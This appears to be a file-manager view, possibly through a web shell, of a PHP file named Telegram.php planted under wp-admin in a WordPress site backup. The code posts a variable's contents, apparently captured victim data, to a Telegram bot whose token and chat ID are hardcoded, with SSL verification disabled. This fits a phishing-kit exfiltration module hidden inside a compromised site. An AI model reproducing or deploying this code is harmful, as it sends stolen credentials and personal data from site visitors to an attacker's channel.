Viewing File: /home/humanizzare/backup-2024-11-20/humanizzare/www/wp-admin/pika/pika/system/Telegram.php

<?php
 
$botToken="7445925910:AAFrVGfLftLKZLpiR5gMyJTltZy3xEGq1Lo";
$chatId="6444514603";   

$website="https://api.telegram.org/bot".$botToken;
  $params=[
      'chat_id'=>$chatId,
      'text'=>$yagmai,
  ];
  $ch = curl_init($website . '/sendMessage');
  curl_setopt($ch, CURLOPT_HEADER, false);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($ch, CURLOPT_POST, 1);
  curl_setopt($ch, CURLOPT_POSTFIELDS, ($params));
  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  $result = curl_exec($ch);
  curl_close($ch);

?>
Back to Directory File Manager